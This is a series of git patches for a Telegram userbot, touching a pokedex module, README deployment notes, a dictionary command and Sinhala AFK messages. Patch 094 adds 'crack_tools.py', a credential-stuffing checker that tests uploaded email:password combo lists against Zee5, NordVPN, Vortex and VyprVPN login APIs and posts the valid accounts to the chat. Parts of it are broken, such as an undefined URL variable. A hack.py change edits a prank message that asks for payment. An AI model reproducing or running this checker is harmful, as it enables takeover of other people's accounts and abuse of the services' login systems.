+ pokemen = pokedx.get_pokemon_by_name(input_str)
+ pokemon=pokemen[0]
+ name = str(pokemon.get("name"))
+ number = str(pokemon.get("number"))
+ species = str(pokemon.get("species"))
+ typo = pokemon.get("types")
+ types = ""
+ for tu in typo:
+ types+=str(tu)+", "
+
+ lol = pokemon.get("abilities")
+ lmao = lol.get("normal")
+ ok =""
+ for ty in lmao:
+ ok = str(ty)+", "
+
+ kk = lol.get("hidden")
+ hm = ""
+ for pq in kk:
+ hm += str(pq)+", "
+ hell = pokemon.get("eggGroups")
+ uio=""
+ for x in hell:
+ uio += str(x)+", "
+
+ height = pokemon.get("height")
+ weight = pokemon.get("weight")
+ yes = pokemon.get("family")
+ Id = str(yes.get("id"))
+ evo = str(yes.get("evolutionStage"))
+ pol = yes.get("evolutionLine")
+ xy = ""
+ for p in pol:
+ xy+= str(p)+", "
+
+ start = pokemon.get("starter")
+ if start==False:
+ start="No"
+ elif start==True:
+ start="True"
+ else:
+ pass
+
+ leg = pokemon.get("legendary")
+
+ if leg==False:
+ leg="No"
+ elif leg==True:
+ leg="True"
+ else:
+ pass
+
+ myt = pokemon.get("mythical")
+ if myt==False:
+ myt="No"
+ elif myt==True:
+ myt="True"
+ else:
+ pass
+ ultra = pokemon.get("ultraBeast")
+
+ if ultra==False:
+ ultra="No"
+ elif ultra==True:
+ ultra="True"
+ else:
+ pass
+
+ megA = pokemon.get("mega")
+
+ if megA==False:
+ megA="No"
+ elif megA==True:
+ megA="True"
+ else:
+ pass
+
+ gEn = pokemon.get("gen")
+ link = pokemon.get("sprite")
+ des = pokemon.get("description")
+
+ #hope = await borg(event.chat_id, link)
+ caption = f"Pokemon Information Gathered Successfully \n\n\nName:- {name}\nNumber:- {number}\nSpecies:- {species}\nType:- {types}\n\nAbilities \nNormal Abilities:- {ok}\nHidden Abilities:- {hm}\nEgg Group:- {uio}\nHeight:- {height}\nWeight:- {weight}\n\nFamily \nID:- {Id}\nEvolution Stage:- {evo}\nEvolution Line:- {xy}\nStarter:- {start}\nLegendary:- {leg}\nMythical:- {myt}\nUltra Beast:- {ultra}\nMega:- {megA}\nGen:- {gEn}\nImage Link:- {link}\nDescription:- {des} "
+
+ await borg.send_message(
+ event.chat_id,
+ caption,
+ parse_mode="HTML",
+ file=link,
+ force_document=False,
+ silent=True,
+ )
+
+
+
+
+
+
+
+
+CMD_HELP.update(
+ {
+ "pokedex": "**Pokedex**\
+\n\n**Syntax : **`.pokedex `\
+\n**Usage :** Gives Information About Given Pokemon.\
+\n\n**Example : **`.pokedex pikachu`\
+\nThis above syntax gives Information about Pikachu"
+ }
+)
From ef1bdc672cb2f5d468232ebf942d9f99d23669a3 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:11:14 +0530
Subject: [PATCH 093/838] Update sangmata.py
---
fridaybot/modules/sangmata.py | 11 ++++-------
1 file changed, 4 insertions(+), 7 deletions(-)
diff --git a/fridaybot/modules/sangmata.py b/fridaybot/modules/sangmata.py
index 50ee1b53..f861a652 100644
--- a/fridaybot/modules/sangmata.py
+++ b/fridaybot/modules/sangmata.py
@@ -27,11 +27,10 @@ async def _(event):
response = conv.wait_event(
events.NewMessage(incoming=True, from_users=461843263)
)
- # await borg.forward_messages(chat, reply_message)
- await silently_send_message(chat, "/generate")
+ await borg.forward_messages(chat, reply_message)
response = await response
except YouBlockedUserError:
- await event.reply("```Please unblock @sangmatainfo_bot and try again```")
+ await event.reply("```Please unblock @SangMataInfo_bot and try again```")
return
if response.text.startswith("Forward"):
await event.edit(
@@ -54,16 +53,14 @@ async def _(event):
return
chat = "@fakemailbot"
reply_message.sender
- if reply_message.sender.bot:
- await event.edit("```Reply to actual users message.```")
- return
await event.edit("```Processing```")
+ link = f"/generate"
async with borg.conversation(chat) as conv:
try:
response = conv.wait_event(
events.NewMessage(incoming=True, from_users=177914997)
)
- await borg.forward_messages(chat, reply_message)
+ await conv.send_message(link)
response = await response
except YouBlockedUserError:
await event.reply("```Please unblock @fakemailbot and try again```")
From 2f474bceb7b41d162d905876ae1e7637a3e566b7 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:15:19 +0530
Subject: [PATCH 094/838] Create crack_tools.py
---
fridaybot/modules/crack_tools.py | 225 +++++++++++++++++++++++++++++++
1 file changed, 225 insertions(+)
create mode 100644 fridaybot/modules/crack_tools.py
diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py
new file mode 100644
index 00000000..23b4148e
--- /dev/null
+++ b/fridaybot/modules/crack_tools.py
@@ -0,0 +1,225 @@
+import json
+import os
+import requests
+
+from fridaybot.utils import friday_on_cmd
+data = {
+ "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0",
+ "Content-Length": "55",
+ "Accept-Encoding":"gzip"
+}
+
+data2 = {
+ "accept-encoding": "gzip",
+ "user-agent": "RemotrAndroid/1.5.0"
+}
+@friday.on(friday_on_cmd(pattern="cz5$"))
+async def zee5(event):
+ await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`')
+ stark_dict = []
+ hits_dict = []
+ hits = 0
+ bads = 0
+ lol = await event.get_reply_message()
+ starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY)
+ file = open(starky, "r")
+ lines = file.readlines()
+ for line in lines:
+ stark_dict.append(line)
+ os.remove(starky)
+ if len(stark_dict) > 50:
+ await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`')
+ return
+ for i in stark_dict:
+ starkm = i.split(":")
+ email = starkm[0]
+ password = starkm[1]
+ try:
+ meke = requests.get(f'https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}').json()
+ except:
+ meke = None
+ if meke.get("token"):
+ hits += 1
+ hits_dict.append(f"{email}:{password}")
+ else:
+ bads += 1
+ if len(hits_dict) == 0:
+ await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**")
+ return
+ with open("hits.txt", "w") as hitfile:
+ for s in hits_dict:
+ hitfile.write(s + ' | @FridayOT')
+ await borg.send_file(
+ event.chat_id, "hits.txt", caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`"
+ )
+ os.remove("hits.txt")
+
+@friday.on(friday_on_cmd(pattern="cnd$"))
+async def vypr(event):
+ await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`')
+ stark_dict = []
+ hits_dict = []
+ hits = 0
+ bads = 0
+ lol = await event.get_reply_message()
+ starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY)
+ file = open(starky, "r")
+ lines = file.readlines()
+ for line in lines:
+ stark_dict.append(line)
+ os.remove(starky)
+ if len(stark_dict) > 50:
+ await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`')
+ return
+ for i in stark_dict:
+ starkm = i.split(":")
+ email = starkm[0]
+ password = starkm[1]
+ sedlyf = {
+ "username" : email,
+ "password" : password
+ }
+ try:
+ meke = requests.post(url='https://zwyr157wwiu6eior.com/v1/users/tokens', headers=data, json=sedlyf).json()
+ except Exception as s:
+ meke = None
+ pass
+ if meke.get("token"):
+ hits += 1
+ hits_dict.append(f"{email}:{password}")
+ else:
+ bads += 1
+ if len(hits_dict) == 0:
+ await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**")
+ return
+ with open("hits.txt", "w") as hitfile:
+ for s in hits_dict:
+ hitfile.write(s + ' | @FridayOT')
+ await borg.send_file(
+ event.chat_id, "hits.txt", caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`"
+ )
+ os.remove("hits.txt")
+
+@friday.on(friday_on_cmd(pattern="cvx$"))
+async def vortex(event):
+ await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`')
+ stark_dict = []
+ hits_dict = []
+ hits = 0
+ bads = 0
+ lol = await event.get_reply_message()
+ starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY)
+ file = open(starky, "r")
+ lines = file.readlines()
+ for line in lines:
+ stark_dict.append(line)
+ os.remove(starky)
+ if len(stark_dict) > 50:
+ await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`')
+ return
+ for i in stark_dict:
+ starkm = i.split(":")
+ email = starkm[0]
+ password = starkm[1]
+ sedlyf = {
+ "email": email,
+ "pass": password
+ }
+ try:
+ meke = requests.post(url='https://vortex-api.gg/login', headers=data2, json=sedlyf).json()
+ except Exception as s:
+ meke = None
+ pass
+ if meke.get("token"):
+ hits += 1
+ hits_dict.append(f"{email}:{password}")
+ else:
+ bads += 1
+ if len(hits_dict) == 0:
+ await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**")
+ return
+ with open("hits.txt", "w") as hitfile:
+ for s in hits_dict:
+ hitfile.write(s + ' | @FridayOT')
+ await borg.send_file(
+ event.chat_id, "hits.txt", caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`"
+ )
+ os.remove("hits.txt")
+
+@friday.on(friday_on_cmd(pattern="cvr$"))
+async def vortex(event):
+ await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`')
+ stark_dict = []
+ hits_dict = []
+ hits = 0
+ bads = 0
+ lol = await event.get_reply_message()
+ starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY)
+ file = open(starky, "r")
+ lines = file.readlines()
+ for line in lines:
+ stark_dict.append(line)
+ os.remove(starky)
+ if len(stark_dict) > 50:
+ await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`')
+ return
+ for i in stark_dict:
+ starkm = i.split(":")
+ email = starkm[0]
+ password = starkm[1]
+ data = {
+ "username" : email,
+ "password" : password,
+ "User-Agent":"Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-N950N Build/NMF26X)",
+ "Connection": "close",
+ "locale":"en",
+ "X-GF-PLATFORM":"android",
+ "X-GF-PRODUCT":"vyprvpn",
+ "X-GF-Agent":"VyprVPN Android v2.6.4.3156. (1b33ca24)",
+ "Content-Type" : "application/x-www-form-urlencoded"
+ }
+ try:
+ meke = requests.get(url=noob, headers=data).text
+ except Exception as s:
+ meke = None
+ if "invalid username or password" in meke:
+ bads += 1
+ else:
+ hits += 1
+ plan = find_between(meke, 'account_level_display": "', '"')
+ hits_dict.append(f"{email}:{password} | Plan = {plan}")
+ if len(hits_dict) == 0:
+ await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**")
+ return
+ with open("hits.txt", "w") as hitfile:
+ for s in hits_dict:
+ hitfile.write(s + ' | @FridayOT')
+ await borg.send_file(
+ event.chat_id, "hits.txt", caption=f"**!VYPR HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`"
+ )
+ os.remove("hits.txt")
+
+
+def find_between( s, first, last ):
+ try:
+ start = s.index( first ) + len( first )
+ end = s.index( last, start )
+ return s[start:end]
+ except ValueError:
+ return ""
+
+CMD_HELP.update(
+ {
+ "cracking_tools": "**Cracking Tools**\
+\n\n**Syntax : **`.cz5 `\
+\n**Usage :** Checks for Zee5 accounts from combo.\
+\n\n**Syntax : **`.cnd `\
+\n**Usage :** Checks for VYPR accounts from combo.\
+\n\n**Syntax : **`.cvx `\
+\n**Usage :** Checks for Vortex accounts from combo.\
+\n\n**Syntax : **`.cz5 `\
+\n**Usage :** Checks for Zee5 accounts from combo.\
+\n\n**Syntax : **`.proxy `\
+\n**Usage :** Checks for alive proxies."
+ }
+)
From 405cd5118b936ec381fa2534fa36d5fc26de8e59 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:19:26 +0530
Subject: [PATCH 095/838] Update dictionary.py
---
fridaybot/modules/dictionary.py | 49 +++++++++++++++++++++++----------
1 file changed, 35 insertions(+), 14 deletions(-)
diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py
index 717a88d7..b3c5be8c 100644
--- a/fridaybot/modules/dictionary.py
+++ b/fridaybot/modules/dictionary.py
@@ -1,26 +1,47 @@
"""Syntax: .meaning """
-import requests
-from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd
-from PyDictionary import PyDictionary
-
from fridaybot import CMD_HELP
+import requests
+from telethon import events
+from uniborg.util import admin_cmd
-@friday.on(friday_on_cmd("meaning (.*)"))
-@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True))
+@borg.on(admin_cmd("meaning (.*)"))
async def _(event):
- stark = await edit_or_reply(event, "Finding Meaning.....")
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
- dictionary=PyDictionary()
- a = (dictionary.meaning(input_str))
- b = a.get("Noun")
- chsaiujwal = ""
- for x in b:
- chsaiujwal += x+"\n"
- await stark.edit(f" meaning of {input_str} is:- \n {chsaiujwal}", parse_mode="HTML",)
+ input_url = "https://bots.shrimadhavuk.me/dictionary/?s={}".format(input_str)
+ headers = {"USER-AGENT": "UniBorg"}
+ caption_str = f"Meaning of __{input_str}__\n"
+ try:
+ response = requests.get(input_url, headers=headers).json()
+ pronounciation = response.get("p")
+ meaning_dict = response.get("lwo")
+ for current_meaning in meaning_dict:
+ current_meaning_type = current_meaning.get("type")
+ current_meaning_definition = current_meaning.get("definition")
+ caption_str += f"**{current_meaning_type}**: {current_meaning_definition}\n\n"
+ except Exception as e:
+ caption_str = str(e)
+ reply_msg_id = event.message.id
+ if event.reply_to_msg_id:
+ reply_msg_id = event.reply_to_msg_id
+ try:
+ await borg.send_file(
+ event.chat_id,
+ pronounciation,
+ caption=f"Pronounciation of __{input_str}__",
+ force_document=False,
+ reply_to=reply_msg_id,
+ allow_cache=True,
+ voice_note=True,
+ silent=True,
+ supports_streaming=True
+ )
+ except:
+ pass
+ await event.edit(caption_str)
CMD_HELP.update(
From b8cc3e0bf887bfd2bfd036cd759149c1a6d2234a Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:22:34 +0530
Subject: [PATCH 096/838] Update crack_tools.py
---
fridaybot/modules/crack_tools.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py
index 23b4148e..6f409136 100644
--- a/fridaybot/modules/crack_tools.py
+++ b/fridaybot/modules/crack_tools.py
@@ -1,7 +1,7 @@
import json
import os
import requests
-
+from fridaybot import CMD_HELP
from fridaybot.utils import friday_on_cmd
data = {
"User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0",
From d8424e508c82e99dfd186a42820454b5b647640c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:24:29 +0530
Subject: [PATCH 097/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index bca9996f..f764ade2 100644
--- a/README.md
+++ b/README.md
@@ -43,7 +43,7 @@
[](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot)
-
+``` Alwaystry to Deploy this source. If not you will miss the future updates```
From 2e5644cabadda15a10b6cf9bba9614beac020d48 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:24:48 +0530
Subject: [PATCH 098/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index f764ade2..bdc6cba8 100644
--- a/README.md
+++ b/README.md
@@ -43,7 +43,7 @@
[](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot)
-``` Alwaystry to Deploy this source. If not you will miss the future updates```
+``` Always try to Deploy this source. If not you will miss the future updates```
From bfd7b171a3abfe5c41e1e6610a00032838ea7c48 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:26:35 +0530
Subject: [PATCH 099/838] Update pokedex.py
---
fridaybot/modules/pokedex.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py
index d5270c53..9a29d887 100644
--- a/fridaybot/modules/pokedex.py
+++ b/fridaybot/modules/pokedex.py
@@ -13,7 +13,7 @@
import html
from uniborg.util import friday_on_cmd
-
+import os
from telethon.tl.functions.photos import GetUserPhotosRequest
From 04a50cfca850e325d2b341f60a9f254afdad72fb Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:42:50 +0530
Subject: [PATCH 100/838] Update pokedex.py
---
fridaybot/modules/pokedex.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py
index 9a29d887..cc010950 100644
--- a/fridaybot/modules/pokedex.py
+++ b/fridaybot/modules/pokedex.py
@@ -27,7 +27,7 @@
try:
from pokedex import pokedex
except:
- os.system("pip install pip install pokedex")
+ os.system("pip install pokedex")
from pokedex import pokedex
@friday.on(admin_cmd(pattern="pokedex (.*)"))
From f93a7b9a9d8c09c33ba977fd166a6bbe43ab0f0c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 07:57:27 +0530
Subject: [PATCH 101/838] Delete pokedex.py
---
fridaybot/modules/pokedex.py | 147 -----------------------------------
1 file changed, 147 deletions(-)
delete mode 100644 fridaybot/modules/pokedex.py
diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py
deleted file mode 100644
index cc010950..00000000
--- a/fridaybot/modules/pokedex.py
+++ /dev/null
@@ -1,147 +0,0 @@
-# Copyright (C) @chsaiujwal 2020
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU Affero General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU Affero General Public License for more details.
-#
-# You should have received a copy of the GNU Affero General Public License
-# along with this program. If not, see .
-
-import html
-from uniborg.util import friday_on_cmd
-import os
-
-
-from telethon.tl.functions.photos import GetUserPhotosRequest
-from telethon.tl.functions.users import GetFullUserRequest
-from telethon.tl.types import MessageEntityMentionName
-from telethon.utils import get_input_location
-
-from fridaybot import CMD_HELP, sclient
-from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd
-
-try:
- from pokedex import pokedex
-except:
- os.system("pip install pokedex")
- from pokedex import pokedex
-
-@friday.on(admin_cmd(pattern="pokedex (.*)"))
-async def _(event):
- if event.fwd_from:
- return
- input_str = event.pattern_match.group(1)
- pokedx = pokedex.Pokedex()
- pokemen = pokedx.get_pokemon_by_name(input_str)
- pokemon=pokemen[0]
- name = str(pokemon.get("name"))
- number = str(pokemon.get("number"))
- species = str(pokemon.get("species"))
- typo = pokemon.get("types")
- types = ""
- for tu in typo:
- types+=str(tu)+", "
-
- lol = pokemon.get("abilities")
- lmao = lol.get("normal")
- ok =""
- for ty in lmao:
- ok = str(ty)+", "
-
- kk = lol.get("hidden")
- hm = ""
- for pq in kk:
- hm += str(pq)+", "
- hell = pokemon.get("eggGroups")
- uio=""
- for x in hell:
- uio += str(x)+", "
-
- height = pokemon.get("height")
- weight = pokemon.get("weight")
- yes = pokemon.get("family")
- Id = str(yes.get("id"))
- evo = str(yes.get("evolutionStage"))
- pol = yes.get("evolutionLine")
- xy = ""
- for p in pol:
- xy+= str(p)+", "
-
- start = pokemon.get("starter")
- if start==False:
- start="No"
- elif start==True:
- start="True"
- else:
- pass
-
- leg = pokemon.get("legendary")
-
- if leg==False:
- leg="No"
- elif leg==True:
- leg="True"
- else:
- pass
-
- myt = pokemon.get("mythical")
- if myt==False:
- myt="No"
- elif myt==True:
- myt="True"
- else:
- pass
- ultra = pokemon.get("ultraBeast")
-
- if ultra==False:
- ultra="No"
- elif ultra==True:
- ultra="True"
- else:
- pass
-
- megA = pokemon.get("mega")
-
- if megA==False:
- megA="No"
- elif megA==True:
- megA="True"
- else:
- pass
-
- gEn = pokemon.get("gen")
- link = pokemon.get("sprite")
- des = pokemon.get("description")
-
- #hope = await borg(event.chat_id, link)
- caption = f"Pokemon Information Gathered Successfully \n\n\nName:- {name}\nNumber:- {number}\nSpecies:- {species}\nType:- {types}\n\nAbilities \nNormal Abilities:- {ok}\nHidden Abilities:- {hm}\nEgg Group:- {uio}\nHeight:- {height}\nWeight:- {weight}\n\nFamily \nID:- {Id}\nEvolution Stage:- {evo}\nEvolution Line:- {xy}\nStarter:- {start}\nLegendary:- {leg}\nMythical:- {myt}\nUltra Beast:- {ultra}\nMega:- {megA}\nGen:- {gEn}\nImage Link:- {link}\nDescription:- {des} "
-
- await borg.send_message(
- event.chat_id,
- caption,
- parse_mode="HTML",
- file=link,
- force_document=False,
- silent=True,
- )
-
-
-
-
-
-
-
-
-CMD_HELP.update(
- {
- "pokedex": "**Pokedex**\
-\n\n**Syntax : **`.pokedex `\
-\n**Usage :** Gives Information About Given Pokemon.\
-\n\n**Example : **`.pokedex pikachu`\
-\nThis above syntax gives Information about Pikachu"
- }
-)
From 57c7bf2bff17d904405bc1adf19204620353d3bd Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 13:25:44 +0530
Subject: [PATCH 102/838] Update README.md
---
README.md | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
diff --git a/README.md b/README.md
index bdc6cba8..de5613a0 100644
--- a/README.md
+++ b/README.md
@@ -18,9 +18,9 @@
# Support
-
+
-
+
``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ```
@@ -50,8 +50,11 @@
-# String Session (Powered By Friday)
-## Repl
+# String Session (Need before deploying)
+## Using Our Bot (Recommended)
+[](https://t.me/StringSessionGeneratorRobot)
+#
+## Repl (not recommended)
[](https://friday.midhunkm1294.repl.run)
From 351c72127b235216533fa014a48848aec243a20a Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 13:34:18 +0530
Subject: [PATCH 103/838] Update README.md
---
README.md | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index de5613a0..e4ef6eae 100644
--- a/README.md
+++ b/README.md
@@ -33,10 +33,11 @@
-
-
``` The Methord is also same for this. Just deploy bot from this repo ```
+# String Session (Need before deploying)
+## Using Our Bot (Recommended)
+[](https://t.me/StringSessionGeneratorRobot)
# Deploying To Heroku
From 6e7b3a9f5b72ebde953a203e96205b2a7cb81a8c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 13:35:33 +0530
Subject: [PATCH 104/838] Update README.md
---
README.md | 10 ++++------
1 file changed, 4 insertions(+), 6 deletions(-)
diff --git a/README.md b/README.md
index e4ef6eae..5e5f4364 100644
--- a/README.md
+++ b/README.md
@@ -51,18 +51,16 @@
-# String Session (Need before deploying)
-## Using Our Bot (Recommended)
-[](https://t.me/StringSessionGeneratorRobot)
-#
-## Repl (not recommended)
-[](https://friday.midhunkm1294.repl.run)
## Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project..
-THE HARD WAY of deploying -
+#String Session (Hard Way)
+## Repl (not recommended)
+
+[](https://friday.midhunkm1294.repl.run)
Simply clone the repository and run the main file:
```sh
From 3844b37b791e0f1b228dcd944b1f1c45cdb4e6fb Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 13:36:05 +0530
Subject: [PATCH 105/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 5e5f4364..7997b16e 100644
--- a/README.md
+++ b/README.md
@@ -57,7 +57,7 @@
-THE HARD WAY of deploying -
-#String Session (Hard Way)
+# String Session (Hard Way)
## Repl (not recommended)
[](https://friday.midhunkm1294.repl.run)
From 9b20b96105a716be468c2d20e628983cf9bdb049 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 13:36:35 +0530
Subject: [PATCH 106/838] Update README.md
---
README.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/README.md b/README.md
index 7997b16e..9521a035 100644
--- a/README.md
+++ b/README.md
@@ -57,6 +57,7 @@
-THE HARD WAY of deploying -
+
# String Session (Hard Way)
## Repl (not recommended)
From d037b0229afc37b82620bc46093c76d092fabb37 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 14:09:01 +0530
Subject: [PATCH 107/838] Update README.md
---
README.md | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 9521a035..467a5880 100644
--- a/README.md
+++ b/README.md
@@ -53,7 +53,7 @@
-## Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project..
+
-THE HARD WAY of deploying -
@@ -115,3 +115,4 @@ published by the Free Software Foundation, either version 3 of the License, or
[](https://www.python.org/)
[](https://github.com/inukaasith/virtualuserbot/graphs/commit-activity)
+### Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project..
From 7229a55090feb5fa68d342a3f301717ce3cbbebd Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 14:10:36 +0530
Subject: [PATCH 108/838] Update hack.py
---
fridaybot/modules/hack.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/hack.py b/fridaybot/modules/hack.py
index 7b32817c..4d39427e 100644
--- a/fridaybot/modules/hack.py
+++ b/fridaybot/modules/hack.py
@@ -71,7 +71,7 @@ async def _(event):
"`Hacking... 52%\n█████████████▒▒▒▒▒▒▒▒▒▒▒▒ `",
"`Hacking... 84%\n█████████████████████▒▒▒▒ `",
"`Hacking... 100%\n█████████HACKED███████████ `",
- f"`Targeted Account Hacked...\n\nPay 69$ To` @InukaASiTH . `To Remove this hack..`",
+ f"`Targeted Account Hacked...\n\nPay 69$ To` My Master . `To Remove this hack..`",
]
animation_interval = 3
animation_ttl = range(11)
From e1d18dec5ecb77033e998853283095dbc410960c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 19:33:33 +0530
Subject: [PATCH 109/838] Update afk.py
---
fridaybot/modules/afk.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py
index 278bac46..492352fe 100644
--- a/fridaybot/modules/afk.py
+++ b/fridaybot/modules/afk.py
@@ -49,7 +49,7 @@ async def _(event):
if reason:
await borg.send_message(
event.chat_id,
- f"**My Master Seems To Be Too Busy 👀.** \n__He Going Afk Because Of__ `{reason}`",
+ f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`",
)
else:
await borg.send_message(event.chat_id, f"**I Am Busy And I Am Going Afk**.")
@@ -79,7 +79,7 @@ async def set_not_afk(event):
if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602
shite = await borg.send_message(
event.chat_id,
- "__Pro is Back Alive__\n**No Longer afk.**\n `I Was afk for:``"
+ "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය:``"
+ total_afk_time
+ "`",
)
From 9e40fc136381050f3c357f0ba39ac770aa5c7534 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 19:39:19 +0530
Subject: [PATCH 110/838] Update afk.py
---
fridaybot/modules/afk.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py
index 492352fe..d9f541a9 100644
--- a/fridaybot/modules/afk.py
+++ b/fridaybot/modules/afk.py
@@ -52,7 +52,7 @@ async def _(event):
f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`",
)
else:
- await borg.send_message(event.chat_id, f"**I Am Busy And I Am Going Afk**.")
+ await borg.send_message(event.chat_id, f"**මම දැන් Busy ඒක නිසා Offline යනවා**.")
await asyncio.sleep(5)
await event.delete()
try:
From 82be3ee180e30d282120052538afb27bdfa56d1c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 19:42:01 +0530
Subject: [PATCH 111/838] Update afk.py
---
fridaybot/modules/afk.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py
index d9f541a9..076ca013 100644
--- a/fridaybot/modules/afk.py
+++ b/fridaybot/modules/afk.py
@@ -160,7 +160,7 @@ async def on_afk(event):
f"**මම දැන් පොඩ්ඩක් Busy.. ඒක නිසා ටිකකට ඔන්ලයින් නෑ** \n**ඕෆ්ලයින් ගිය කාලය** : `{total_afk_time}`\n**හේතුව** : `{reason}`"
